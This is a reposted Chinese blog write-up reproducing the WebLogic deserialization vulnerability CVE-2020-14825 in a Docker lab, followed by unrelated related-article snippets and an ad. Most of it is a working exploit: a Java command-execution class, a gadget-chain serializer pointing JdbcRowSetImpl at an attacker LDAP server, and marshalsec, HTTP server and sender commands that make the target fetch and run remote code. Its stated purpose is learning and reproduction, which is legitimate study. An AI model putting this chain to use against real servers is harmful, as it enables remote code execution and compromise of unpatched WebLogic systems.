CVE-2020-14825:Weblogic反序列化漏洞复现

摘要:
idx=1&sn=2a054编码bc855622fe2ac6c8906aae0&场景=126&ascene=1&exportkey=AUhACr%2BPzDbMNVNOHwvyEHQ%3D&

全程无图,全靠编
参考:https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247486336&idx=1&sn=2a054ededbc855622fe2ac6c8906aae0&chksm=90392d70a74ea46635bef3cd4fc414cef87d16a1875ccb690f6eadb4304337e0d2b4772a2659&scene=126&sessionid=1603933645&key=7f54b3443b683033cfec95eb0ee90ba94d11eb5b3aab434add3c872b2a4b62efc0d19a1a2112aff162ea26e926805ccb6a713c43c9231e0ccf46d1d9f3433404132f9576fad66837df791bbb8b677919071577b6b30ef4bf9968dc85894ef22549430c09ab65462d773aa102320070fc261d8097abf7cb288e32cf563c0a0eea&ascene=1&uin=MjY5MDA0ODIwMA%3D%3D&devicetype=Windows+7+x64&version=6300002f&lang=zh_CN&exportkey=AUhACr%2BPzDbMNVNOHwvyEHQ%3D&pass_ticket=wqlCFAhHIF61mFoQzf8xbUdSBksKioTnQMGtR5C7T547%2BtC62Wwuxak%2Bz21orxmh&wx_header=0

环境

docker pull ismaleiva90/weblogic12
docker images
docker run -p7001:7001 84795663769d

POC

public class exp{
    // POC open calc
    public exp(){
        try {
            Runtime.getRuntime().exec("touch /tmp/ok14825.txt");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        exp e = new exp();
    }
}

找这些jar包真费劲

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.util.PriorityQueue;

public class CVE_2020_14825 {
    public static void main(String[] args) throws Exception {
        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("Timeline Sec");
        accessor.setIsWriteOnly(true);
        accessor.setGetMethodName("getDatabaseMetaData");

        LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

        JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
        jdbcRowSet.setDataSourceName("ldap://192.168.8.142:1389/#exp");

        PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
        Reflections.setFieldValue(queue,"size",2);

        Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = jdbcRowSet;

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
        out.writeObject(queue);
        out.flush();
        out.close();
//        readObject();
    }

    public static void readObject() {
        FileInputStream fis = null;
        try {
            fis = new FileInputStream("cve_2020_14825.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

过程

编译exp.java
放在python -m SimpleHTTPServer 80
开启ladp服务

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://192.168.8.142/#exp 1389

go

python weblogic_poc.py -u 192.168.8.142 -p 7001 -f cve_2020_14825.ser

结果

docker exec -i -t 84795663769d /bin/bash
[oracle@c6836c2a0308 base_domain]$ ls /tmp 
hsperfdata_oracle  ok14825.txt  wlstTemporacle

补一张图
CVE-2020-14825:Weblogic反序列化漏洞复现第1张

免责声明:文章转载自《CVE-2020-14825:Weblogic反序列化漏洞复现》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇修改KindEditor的CSS文件nodejs momentjs操作时间(24小时制)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

ng-repeat循环输出简单案例

<!doctype html> <html ng-app> <head> <meta charset="utf-8"> <title>ng-repeat directive</title> </head> <body> <table ng-...

2、Java数据类型框图和自动转化框图

Java数据类型 自动类型转化    特别注意:byte和char类型之间不能相互转换 1 C:Userslenovo>jshell 2 | 欢迎使用 JShell -- 版本 11.0.2 3 | 要大致了解该版本, 请键入: /help intro 4 5 jshell> byte a=1 6 a ==> 1 7...

WPF整理-使用用户选择主题的颜色和字体

“Sometimes it's useful to use one of the selected colors or fonts the user has chosen in theWindows Control Panel Personalization applet (or the older Display Settings in Windows...

《深入浅出WPF》笔记——命令篇

 一、认识命令 1.1命令的特点   提到“命令”,我们应该想到命令的发出者,命令的接受者,命令的内容,准备工作,完成任务,回报工作。。。与事件中的发送者,接受者,消息,处理,处理,处理一一对应,如果是单纯的几个对应关系,的确用事件是能够代替的,不过,命令相对事件有其自己的特点的。比如,古时候,如果两个部落发动战争,经常在出军之前,做了充分的准备,才可能一...

java 调用webservice的各种方法总结

java 调用webservice的各种方法总结(本文转自:http://www.blogjava.net/zjhiphop/archive/2009/04/29/webservice.html) 现在webservice加xml技术已经逐渐成熟,但要真正要用起来还需时日!! 由于毕业设计缘故,我看了很多关于webservice方面的知识,今天和大家一...

使用pandas处理大型CSV文件(转)

# -*- coding:utf-8 -*- ''' CSV 常用API 1)reader(csvfile[, dialect='excel'][, fmtparam]),主要用于CSV 文件的读取,返回一个 reader 对象用于在CSV 文件内容上进行行迭代。 参数: csvfile,需要是支持迭代(Iterat...